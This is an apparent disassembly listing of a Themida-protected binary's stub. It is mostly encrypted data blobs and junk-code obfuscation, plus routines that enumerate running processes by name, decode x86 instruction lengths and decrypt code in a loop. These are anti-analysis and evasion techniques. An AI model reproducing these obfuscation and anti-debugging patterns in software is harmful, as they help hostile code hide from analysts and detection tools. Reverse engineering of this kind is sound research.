		dd 0C68EB1C6h, 4F23465Bh, 24B6D7ECh, 4459FC94h,	0DAEF4A21h
		dd 6C819CB7h, 3183349h,	21D68734h, 1666EFC8h, 0EFAA061Fh
		dd 89CC9DF5h, 0FF2C6196h, 118386C2h, 7008EA0Ah,	90E14EEFh
		dd 0E1966B0Fh, 0E9E9B0FCh, 0A4C7FBCh, 0BDF26D29h, 6B0023D8h
		dd 38AE4FD0h, 7F64F665h, 4C28BFCAh, 0C5AA8E03h,	0EC68h
		dd 102B3E00h, 0A2BDD8FBh, 35286A8Dh, 0C659FD20h, 5FFA8EB1h
		dd 597294Ah, 92B5CA6Dh,	22455AFDh, 0B6D9EE71h, 0A17085A0h
		dd 0C7B443F4h, 847B66EFh, 0F5EFAA6Bh, 23D8BDA0h, 2710C1EEh
		dd 276B1033h, 3DBEA1F4h, 3CDFC479h, 0CBEE0326h,	326592B5h
		dd 6C18FD60h, 4C77F2A8h, 1697CC34h, 1EB4E531h, 37A340F1h
		dd 386B64FBh, 0BC80011Ch, 4F9EDA07h, 778606F3h,	0FCE2D804h
		dd 1A7036Dh, 0D486B80h,	0B8DAFD12h, 296D90A5h, 6AFE2136h
		dd 0C397BACFh, 5B305368h, 8FC8EB00h, 0F088D1A6h, 86BB7055h
		dd 0FA2F3263h, 9BACC2E5h, 68A56DC7h, 0E44A2278h, 57CA8CAFh
		dd 7388BD72h, 0B203B50h, 4B785A3Fh, 5DC4D20Eh, 28BC204Bh
		dd 3BDD06A7h, 7E2A6B0Fh, 7076C69Fh, 4C79AE88h, 6517CA10h
		dd 68E9BC5Bh, 0AF8AE083h, 3BD9Ah, 0D7240000h, 1B3E53CEh
		dd 5AFD9336h, 9E81D275h, 0E64116B9h, 2F0A5E01h,	78D3A74Ah
		dd 0B9A4F093h, 0FC6731D4h, 3E217417h, 8957F759h, 0EBB951E7h
		dd 4116F323h, 0DC18C181h, 0CF01E90Ch, 4EF8359h,	5C243C87h
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 1942h
		dd 57241C89h, 0FF0117BFh, 6E7C143h, 0C105EFC1h,	0EF8103E7h
		dd 6D7738F2h, 8103E7C1h, 0B24680EFh, 8BFD898Dh,	0C481243Ch
		dd 4, 13F868h, 24248900h, 4240483h, 690D685Bh, 34890000h
		dd 89EE8924h, 0FF5E0873h, 815B2434h, 4C4h, 242C8B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFAF622h, 0B858753Bh
		dd 61487FCh, 0C38BC503h, 89908D8Dh, 6A0614h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 55DD3EC3h
		dd 658D89DEh, 6A060F2Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 794BC356h, 0C7F98B22h
		dd 0F07C185h, 66D806h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0C76AFD56h, 0F249185h
		dd 6, 830F5600h, 2, 6658DA8Bh, 0FF26F2BAh, 0F2EEDB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 6A9EEFA8h, 2303F887h, 595FFC8h, 6A060F2Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0BDE6C350h, 0E1AF641h, 0A5953117h, 6A060F2Bh, 5195FF00h
		dd 8B060F34h, 0E24FEBC0h, 0F11B9F04h, 0F6F63540h, 932A0331h
		dd 548F814Dh, 0A1F77CABh, 8A6FAB05h, 2000EE62h,	0E923F23Eh
		dd 7047C17Dh, 7CF221DCh, 0B34D654Ch, 0B58D574Ah, 0A29061E3h
		dd 0A97C2514h, 8A02186Fh, 28507F27h, 0CE2B3463h, 59D06D1Ch
		dd 6BFEA5E4h, 10E831A1h, 0CA000000h, 0B71A89DDh, 6A92C0F6h
		dd 9199ACE3h, 29425219h, 0F01C985h, 890F5B06h, 6, 335D958Bh
		dd 0C381060Fh, 7416h, 5ADDB050h, 0BEh, 14E800h,	5FDB0000h
		dd 0BB9ADCB3h, 0FF4B98ECh, 630027A5h, 0E667CCCCh, 810F507Eh
		dd 2, 8B5993B1h, 9D89333Ch, 60F0121h, 0C0A9F781h, 0BE93BB6h
		dd 0C000000h, 0D0A030ACh, 1E42FF32h, 0EF818371h, 32162FBBh
		dd 0CA3CBA66h, 9F15C781h, 0B70F06C1h, 0B96657D7h, 48F8ACFh
		dd 9D8D8B33h, 66060F28h, 0CA6EF281h, 0BC77EE81h, 0BA663FA7h
		dd 0C6811C08h, 3FA7BC73h, 1D5D8533h, 0FE81060Fh, 0FFFF8CD0h
		dd 15850Fh, 0BF0F0000h,	27E9C0h, 0D9DC0000h, 0EC2771FAh
		dd 0D3329C64h, 0B869D98Dh, 3314541Fh, 0FFFF7AE9h, 205944FFh
		dd 0E932E291h, 8F38A6AEh, 40794905h, 13CE9EDh, 4Fh dup(0)
		dd 0BD830000h, 60F008Dh, 0B4840F01h, 0E9000005h, 0Dh, 77E9CDA8h
		dd 11740817h, 41B3323Ch, 0FD85C68Ch, 43060F24h,	18C0Fh
		dd 68FC0000h, 0C311FB2Dh, 8A605250h, 310F61E6h,	52505250h
		dd 585A310Fh, 13E9310Fh, 9B000000h, 58ACF4A4h, 0CD0A29F0h
		dd 76166CC3h, 17F5E43h,	585A23BFh, 3481585Ah, 0B42BD824h
		dd 138E0F2Fh, 0E9000000h, 0Eh, 0AFFAB7FEh, 84685A7Bh, 0F21B4A1Fh
		dd 0B5FFB79Eh, 60F2CA1h, 0BE960F9h, 0F0000000h,	0B6F34A67h
		dd 0C53CD26Dh, 0B866CE12h, 8D611D08h, 1272E785h, 108D0F06h
		dd 0E9000000h, 0Bh, 3287053h, 1B327493h, 0FF47711Ah, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E95F89C8h, 5, 0A8B6B44Fh, 8D85896Bh, 0FC060F19h, 24FD85C6h
		dd 6A50060Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0E9A9C355h, 68F1068Bh,	0E27E535Bh
		dd 6E9h, 2CB2600h, 812C900Bh, 0FE0D2434h, 6A4AD3h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 633F1FC3h, 763E3CBDh, 6021D4DBh, 66BABB66h, 0B5FF61F8h
		dd 60F2CA1h, 84F78160h,	66308BC6h, 8D61FB8Bh, 1272E785h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0A9B64757h, 0F938D2D1h, 6AD0FFFCh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0D79EC350h, 10E9604Fh, 11000000h, 0F1949409h, 4F8326Bh
		dd 72300E7Dh, 0BF548626h, 40E8599h, 13E961h, 0BAC00000h
		dd 846B33AAh, 0ABA67370h, 472E3996h, 0DD9E997h,	75858946h
		dd 60060F2Ah, 0CE9h, 0DDA27B00h, 64126B11h, 44A6E2Ah, 5BF957C7h
		dd 0C5DE6861h, 0DE9A695h, 92000000h, 933F8FF2h,	0DBCC130h
		dd 0B3C3BA8Bh, 51240481h, 6A49F9E2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 350FC357h
		dd 4CD059Bh, 0B5FF1AB0h, 60F2CA1h, 6E9h, 0DDC97E00h, 8DE8E306h
		dd 1272E785h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0A567216Bh, 0E9C6EBDFh, 0Eh, 36156413h
		dd 0DCE4A58h, 0DCE5FA75h, 0FFFC6104h, 53006AD0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0B8A5B69Bh, 2FC5B3F6h, 8589FC6Fh, 60F2C35h, 0CE9h, 0BFF64C00h
		dd 0BB4128CEh, 22A4B94Dh, 0FD85C691h, 50060F24h, 7E9h
		dd 46EA2E00h, 17005B99h, 4E8h, 9CDC5600h, 0EE997h, 57B50000h
		dd 0E56F4C1Eh, 0A6108E7Fh, 22D3797Ah, 0A850F50h, 50000000h
		dd 0F616052h, 5A616031h, 24448B58h, 60525004h, 14E9h, 13D5800h
		dd 0FCD4C8CDh, 65255B9h, 266FF7AAh, 168C9E39h, 10E956h
		dd 0D4570000h, 0EB115DCDh, 0CCA4F320h, 67713A5Fh, 0F61EC75h
		dd 60525031h, 0E9310F61h, 0Ah, 0FC842759h, 0D0C6C249h
		dd 585A52F8h, 8B585Ah, 820F5250h, 0Ch, 7E9h, 25AF0400h
		dd 0BA878C65h, 14E9310Fh, 76000000h, 0A1CA07AAh, 0FA25E2E2h
		dd 25E81835h, 10EE7208h, 5A048746h, 24448958h, 0E8606004h
		dd 9, 95772712h, 0A82B8E28h, 61605886h,	0BF666061h, 5850E7E7h
		dd 0F586161h, 1E85h, 8B666000h,	13E8CEh, 8EF50000h, 4891666Eh
		dd 5ACBDED9h, 1C9D9E58h, 65BDE20Ah, 0FF615ED4h,	0F1CE5B5h
		dd 0FE906h, 9E810000h, 97818584h, 0EA3414B3h, 3D6E6704h
		dd 0B8858DC7h, 0FC060F3Ah, 800FD0FFh, 0Ch, 6840Fh, 890F0000h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+60F0A85h],	eax
		pusha
		mov	edi, 63302D93h
		xor	edx, 501F05EAh
		popa
		jmp	loc_5A409F
; ---------------------------------------------------------------------------
		stc
		push	eax
		jmp	loc_5A3F10
; ---------------------------------------------------------------------------
		db 0B7h
		dd 50A477B0h, 383D947h
; ---------------------------------------------------------------------------


loc_5A3F10:				; CODE XREF: Themida_:005A3F02j
		mov	[esp], ebp
		pusha
		mov	esi, eax
		popa
		mov	ebp, esp
		jnb	loc_5A3F2C
		jmp	loc_5A3F2C
; ---------------------------------------------------------------------------
		dd 7591BDB6h, 88BF6076h
; ---------------------------------------------------------------------------


loc_5A3F2C:				; CODE XREF: Themida_:005A3F19j
					; Themida_:005A3F1Fj
		cld
		add	esp, 0FFFFFFFCh
		jz	loc_5A3F43
		jmp	loc_5A3F43
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0E9A20F56h
		db 3Eh,	19h, 0F1h
; ---------------------------------------------------------------------------


loc_5A3F43:				; CODE XREF: Themida_:005A3F30j
					; Themida_:005A3F36j
		pusha
		pusha
		jmp	loc_5A3F5A
; ---------------------------------------------------------------------------
		dw 9441h
		dd 1ABC78ACh, 0FA90E9ECh, 0E544A7F2h
		db 0A6h, 0E5h
; ---------------------------------------------------------------------------


loc_5A3F5A:				; CODE XREF: Themida_:005A3F45j
		mov	ah, bh
		popa
		pusha
		pusha
		jmp	loc_5A3F78
; ---------------------------------------------------------------------------
		and	eax, 0E7B35885h
		add	al, 2
		db	3Eh
		cld
		retf
; ---------------------------------------------------------------------------
		dw 1070h
		dd 609F2328h, 4DF9BD0Eh
; ---------------------------------------------------------------------------


loc_5A3F78:				; CODE XREF: Themida_:005A3F5Fj
		xor	cx, 0FFF5h
		popa
		jmp	loc_5A3F93
; ---------------------------------------------------------------------------
		imul	ecx, [ebx-2794D87Ah], 98E8F518h
		push	edi
		retf
; ---------------------------------------------------------------------------
		db 0CDh
		db 7Ah,	5Eh, 90h
; ---------------------------------------------------------------------------


loc_5A3F93:				; CODE XREF: Themida_:005A3F7Ej
		popa
		call	$+5
		pop	edx
		sub	edx, 61490CFh
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+60F008Dh], 1
		jz	loc_5A404C
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+60F198Dh]
		pop	edx
		mov	[edx+6148AD8h],	eax
		lea	ebx, [edx+6148ADCh]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+60F2A75h]
		pop	edx


loc_5A3FDC:				; CODE XREF: Themida_:005A4006j
					; Themida_:005A403Aj
		push	edx
		lea	ebx, [edx+6148ADCh]
		push	ebx
		push	dword ptr [edx+6148AD8h]
		call	dword ptr [edx+60F0A85h]
		pop	edx
		or	eax, eax
		jz	short loc_5A4045
		lea	ebx, [edx+6148ADCh]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5A4000:				; CODE XREF: Themida_:005A4010j
		cmp	ecx, 104h
		jz	short loc_5A3FDC
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5A4000
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+60F1F2Dh]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+60F1F2Dh]
		push	eax
		call	dword ptr [edx+60F2C35h]
		pop	edx
		or	eax, eax
		jnz	short loc_5A3FDC
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5A404C
; ---------------------------------------------------------------------------


loc_5A4045:				; CODE XREF: Themida_:005A3FF3j
		mov	dword ptr [ebp-4], 0


loc_5A404C:				; CODE XREF: Themida_:005A3FAEj
					; Themida_:005A4043j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5A4063
; ---------------------------------------------------------------------------
		db 14h,	36h, 39h
		dd 0E26EA8Eh
		db 0ABh, 0FEh, 11h
; ---------------------------------------------------------------------------


loc_5A4063:				; CODE XREF: Themida_:005A4054j
		pusha
		mov	bx, dx
		and	dx, 6BBFh
		popa
		push	0
		push	eax
		call	sub_5A4078
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4078	proc near		; CODE XREF: Themida_:005A4070p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5A4078	endp

; ---------------------------------------------------------------------------
		shr	dword ptr [ecx-7Fh], 93h
		xchg	eax, edx
		retf
; ---------------------------------------------------------------------------
		mov	esi, 6099DD5Ah
		xor	ecx, 6DFCDBC2h
		push	ecx
		movsx	esi, bx
		pop	edx
		popa


loc_5A409F:				; CODE XREF: Themida_:005A3EFBj
		mov	edx, edx
		jmp	loc_5A426E
; ---------------------------------------------------------------------------
		dd offset loc_418885+3
		dd offset loc_418885+3
		dd offset loc_418885+3
		dd offset loc_418885+3
		dd offset loc_418885+3
		dd offset loc_418885+3
		dd offset loc_418885+3
		dd offset loc_418885+3
		align 4
		dd 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A426E:				; CODE XREF: Themida_:005A40A1j
		jmp	loc_5A45C6
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61493AFh
		pusha
		mov	dword ptr [ebp+61492FCh], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5A42A5
		mov	dword ptr [ebp+6149300h], 6
		jmp	loc_5A42C9
; ---------------------------------------------------------------------------


loc_5A42A5:				; CODE XREF: Themida_:005A4290j
		lea	eax, [ebp+6149304h]
		push	eax
		lea	eax, [ebp+6149354h]
		push	eax
		push	esi
		push	0
		call	sub_5A42D8
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+6149300h],	eax


loc_5A42C9:				; CODE XREF: Themida_:005A42A0j
		popa
		add	esi, [ebp+6149300h]
		mov	eax, [ebp+61492FCh]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A42D8	proc near		; CODE XREF: Themida_:005A42B6p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_61492F4	= dword	ptr  61492FCh

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5A4305
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5A4311
; ---------------------------------------------------------------------------


loc_5A4305:				; CODE XREF: sub_5A42D8+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5A4311:				; CODE XREF: sub_5A42D8+28j
		push	ebx
		push	esi
		push	edi


loc_5A4314:				; CODE XREF: sub_5A42D8+91j
					; sub_5A42D8+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A4327:				; CODE XREF: sub_5A42D8+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6149466h
		lea	ebp, [ebp+61492DCh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A4354
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A4327


loc_5A4354:				; CODE XREF: sub_5A42D8+6Bj
		cmp	cl, 0Bh
		jz	loc_5A43B1
		cmp	al, 66h
		jnz	loc_5A4392
		cmp	[ebp+var_5], 0
		jnz	loc_5A4314
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5A438A
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5A4314
; ---------------------------------------------------------------------------


loc_5A438A:				; CODE XREF: sub_5A42D8+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5A4392:				; CODE XREF: sub_5A42D8+87j
		cmp	al, 67h
		jnz	loc_5A4314
		cmp	[ebp+var_6], 0
		jnz	loc_5A4314
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5A4314
; ---------------------------------------------------------------------------


loc_5A43B1:				; CODE XREF: sub_5A42D8+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A43DD
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A43E2
; ---------------------------------------------------------------------------


loc_5A43DD:				; CODE XREF: sub_5A42D8+E4j
		movzx	edi, al
		shr	edi, 1


loc_5A43E2:				; CODE XREF: sub_5A42D8+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 614951Eh
		lea	ebp, [ebp+61491DCh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5A4564
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A44A8
		dec	ecx
		jz	loc_5A448B
		dec	ecx
		jnz	loc_5A44FB
		cmp	[ebp+var_2], 0
		jnz	loc_5A44F7
		cmp	[ebp+var_5], 0
		jz	loc_5A446A
		mov	byte ptr [ebp+arg_0+3],	2


loc_5A446A:				; CODE XREF: sub_5A42D8+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61495AAh
		mov	[ebp+arg_61492F4], 1
		pop	ebp
		jmp	loc_5A44FB
; ---------------------------------------------------------------------------


loc_5A448B:				; CODE XREF: sub_5A42D8+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5A44D5
		cmp	[ebp+var_5], 0
		jz	loc_5A44D5
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5A44D5
; ---------------------------------------------------------------------------


loc_5A44A8:				; CODE XREF: sub_5A42D8+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5A44EE
		cmp	[ebp+var_5], 0
		jz	loc_5A44DD
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A44D5
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5A44D5:				; CODE XREF: sub_5A42D8+1B7j
					; sub_5A42D8+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5A44FB
; ---------------------------------------------------------------------------


loc_5A44DD:				; CODE XREF: sub_5A42D8+1DEj
		cmp	dl, 5
		jnz	loc_5A44FB
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5A44FB
; ---------------------------------------------------------------------------


loc_5A44EE:				; CODE XREF: sub_5A42D8+1D4j
		cmp	dl, 6
		jnz	loc_5A44FB


loc_5A44F7:				; CODE XREF: sub_5A42D8+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5A44FB:				; CODE XREF: sub_5A42D8+174j
					; sub_5A42D8+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5A4529
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5A450B:				; CODE XREF: sub_5A42D8+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A450B
		mov	esi, edx


loc_5A4529:				; CODE XREF: sub_5A42D8+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A455E
		cmp	edi, 7Fh
		ja	loc_5A455E
		test	bl, 38h
		jnz	loc_5A455E
		cmp	[ebp+var_7], 0
		jz	loc_5A4558
		movzx	eax, [ebp+var_4]
		jmp	loc_5A455B
; ---------------------------------------------------------------------------


loc_5A4558:				; CODE XREF: sub_5A42D8+271j
		push	1
		pop	eax


loc_5A455B:				; CODE XREF: sub_5A42D8+27Bj
		mov	[ebp+var_1], al


loc_5A455E:				; CODE XREF: sub_5A42D8+255j
					; sub_5A42D8+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5A4564:				; CODE XREF: sub_5A42D8+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A458F
		dec	eax
		dec	eax
		jz	loc_5A4585
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5A4597
; ---------------------------------------------------------------------------


loc_5A4585:				; CODE XREF: sub_5A42D8+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5A4594
; ---------------------------------------------------------------------------


loc_5A458F:				; CODE XREF: sub_5A42D8+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5A4594:				; CODE XREF: sub_5A42D8+2B2j
		add	[ebp+var_1], al


loc_5A4597:				; CODE XREF: sub_5A42D8+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5A45BF
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5A45AA:				; CODE XREF: sub_5A42D8+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A45AA


loc_5A45BF:				; CODE XREF: sub_5A42D8+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5A42D8	endp

; ---------------------------------------------------------------------------


loc_5A45C6:				; CODE XREF: Themida_:loc_5A426Ej
		lea	eax, [ebp+61493A9h]
		mov	[ebp+60F22F5h],	eax
		call	near ptr loc_5A45D9+4
		cmp	[eax], dl


loc_5A45D9:				; CODE XREF: Themida_:005A45D2p
		and	[esi-0AA947C1h], ch
		pop	ebx
		pop	ecx
		clc
		add	ecx, 6472h
		mov	ebx, edi
		push	18F8h
		push	esi
		add	bh, 2Bh
		pop	edi
		pop	eax
		mov	edx, eax


loc_5A45F7:				; CODE XREF: Themida_:005A4662j
		mov	esi, [ecx]
		jmp	loc_5A4610
; ---------------------------------------------------------------------------
		dw 4900h
		dd 3B8546AEh, 6DB04D10h, 0BDCEBA1Ch, 96FC7B39h
; ---------------------------------------------------------------------------


loc_5A4610:				; CODE XREF: Themida_:005A45F9j
		sub	esi, 43028E33h
		call	loc_5A462D
		fsubr	qword ptr [ecx+edi*8+7Eh]
		sbb	edx, 240BD605h
		mov	ch, 74h
		or	al, 5Ah
		rep mov	bh, 61h


loc_5A462D:				; CODE XREF: Themida_:005A4616p
		mov	dx, 0F07Eh
		pop	edx
		add	esi, 1FC2B745h
		cld
		xor	esi, 608215FDh
		movsx	edx, bx
		mov	[ecx], esi
		mov	edi, 5186DBF3h
		sub	ecx, 13003F27h
		mov	ebx, 4C005A7Ch
		add	ecx, 13003F23h
		mov	bh, 0B7h
		sub	eax, 1
		jnz	loc_5A45F7
		mov	ebx, 8DC3644h
		sub	al, 13h
		or	ds:292DBF16h, ebx
		and	byte ptr [ebx+6Fh], 0F0h
		cmp	eax, 4C047B71h
		xor	eax, 70FF7807h
		setalc
; ---------------------------------------------------------------------------
		dd 958554FEh, 0EB85B183h, 7BF11031h, 7F0590D3h,	7B88721Fh
		dd 0D733F710h, 0D67FF93Eh, 0D65F3E31h, 0D636F761h, 8E158F31h
		dd 92BC9FF2h, 92B4E715h, 0D62EF515h, 8675F831h,	251443F2h
		dd 0ADAD0266h, 24BE79FCh, 0D63629D8h, 8535AD31h, 0D635E0D9h
		dd 156ED131h, 0F269716Ah, 0F271FD35h, 0D6352A35h, 15665C31h
		dd 0B9EC0F69h, 0C0E07AB2h, 0D935E53Eh, 0D635DDB5h, 0D38C9E31h
		dd 0D5449567h, 0D65F3E31h, 0D636F763h, 8C158F31h, 82BC9DF2h
		dd 92B4E715h, 0D623F515h, 8477F831h, 0E1FA17F2h, 2E356E8Bh
		dd 15B0925Ah, 0BC339BA6h, 0D5DD9031h, 0F635E331h, 5F6A326Eh
		dd 5731DC4Dh, 0CE315875h, 91353E31h, 6C94DC66h,	0B0D53BA0h
		dd 3C7411B0h, 0DB5E5C61h, 0D2BCB27Bh, 0BE9E15h,	4190F9BCh
		dd 0D65F3825h, 0D636F767h, 88158F31h, 0A2BC99F2h, 92B4E715h
		dd 0D628F515h, 8073F831h, 5B4168F2h, 0EB66B7D5h, 46301C2Bh
		dd 0D63F6761h, 0CB6AC731h, 404E08B3h, 15F53CB8h, 466CA263h
		dd 93A083CDh, 0BC333138h, 0D5DD4D31h, 0F6358F31h, 5F6F046Bh
		dd 5731C765h, 0C231D575h, 9435F831h, 3EB5BF63h,	0D6353E3Bh
		dd 31C62EF7h, 705058F5h, 533A0854h, 0D635E330h,	16BEA8C8h
		dd 0D635F1D9h, 0DB291231h, 8623305Ah, 5D535E88h, 0D1DDD0FAh
		dd 0D435C731h, 55339EFDh, 5D531EB7h, 6BB6A6E0h,	0D03A64A0h
		dd 553C4B31h, 0D913B28Ch, 0CF418F37h, 16BE9461h, 0D6319989h
		dd 0F3B07831h, 5B33F731h, 0C79AC4ACh, 8DE6C137h, 7B889C69h
		dd 0D6338017h, 8565D045h, 0D6319989h, 0F3B07831h, 5B33F731h
		dd 0C799DBACh, 8DE6C137h, 81357569h, 0D6358CD9h, 156AE731h
		dd 0F2496A6Eh, 0F2717035h, 0D635EE35h, 15623B31h, 0B0D478B3h
		dd 58E7D0B0h, 89F96EB0h, 0D65FD1E9h, 0D6360B64h, 8B15F131h
		dd 0BABCA5F2h, 92B47815h, 0D6283A15h, 83701F31h, 39E6DBF2h
		dd 0A3B6CC62h, 5D30C421h, 7BA87CF1h, 3F33ECA6h,	0D6357C34h
		dd 9EA21E1Eh, 67B092DEh, 5D339B48h, 0BCE538E0h,	0D5DDB531h
		dd 0F635F131h, 5F6B3B6Fh, 57315845h, 0CB311A75h, 90351F31h
		dd 5B254C67h, 0CB230279h, 2BD4A702h, 0D635FED9h, 1A680E31h
		dd 16C68037h, 492152D8h, 0E297EF5Ah, 137A3557h,	0D9F5CC68h
		dd 0D635B3B5h, 30B5A131h, 4BB8A22Eh, 0D03A3096h, 0D0BF3151h
		dd 57351F31h, 15DEDCF1h, 108EA13Bh, 0D58D8267h,	5735F131h
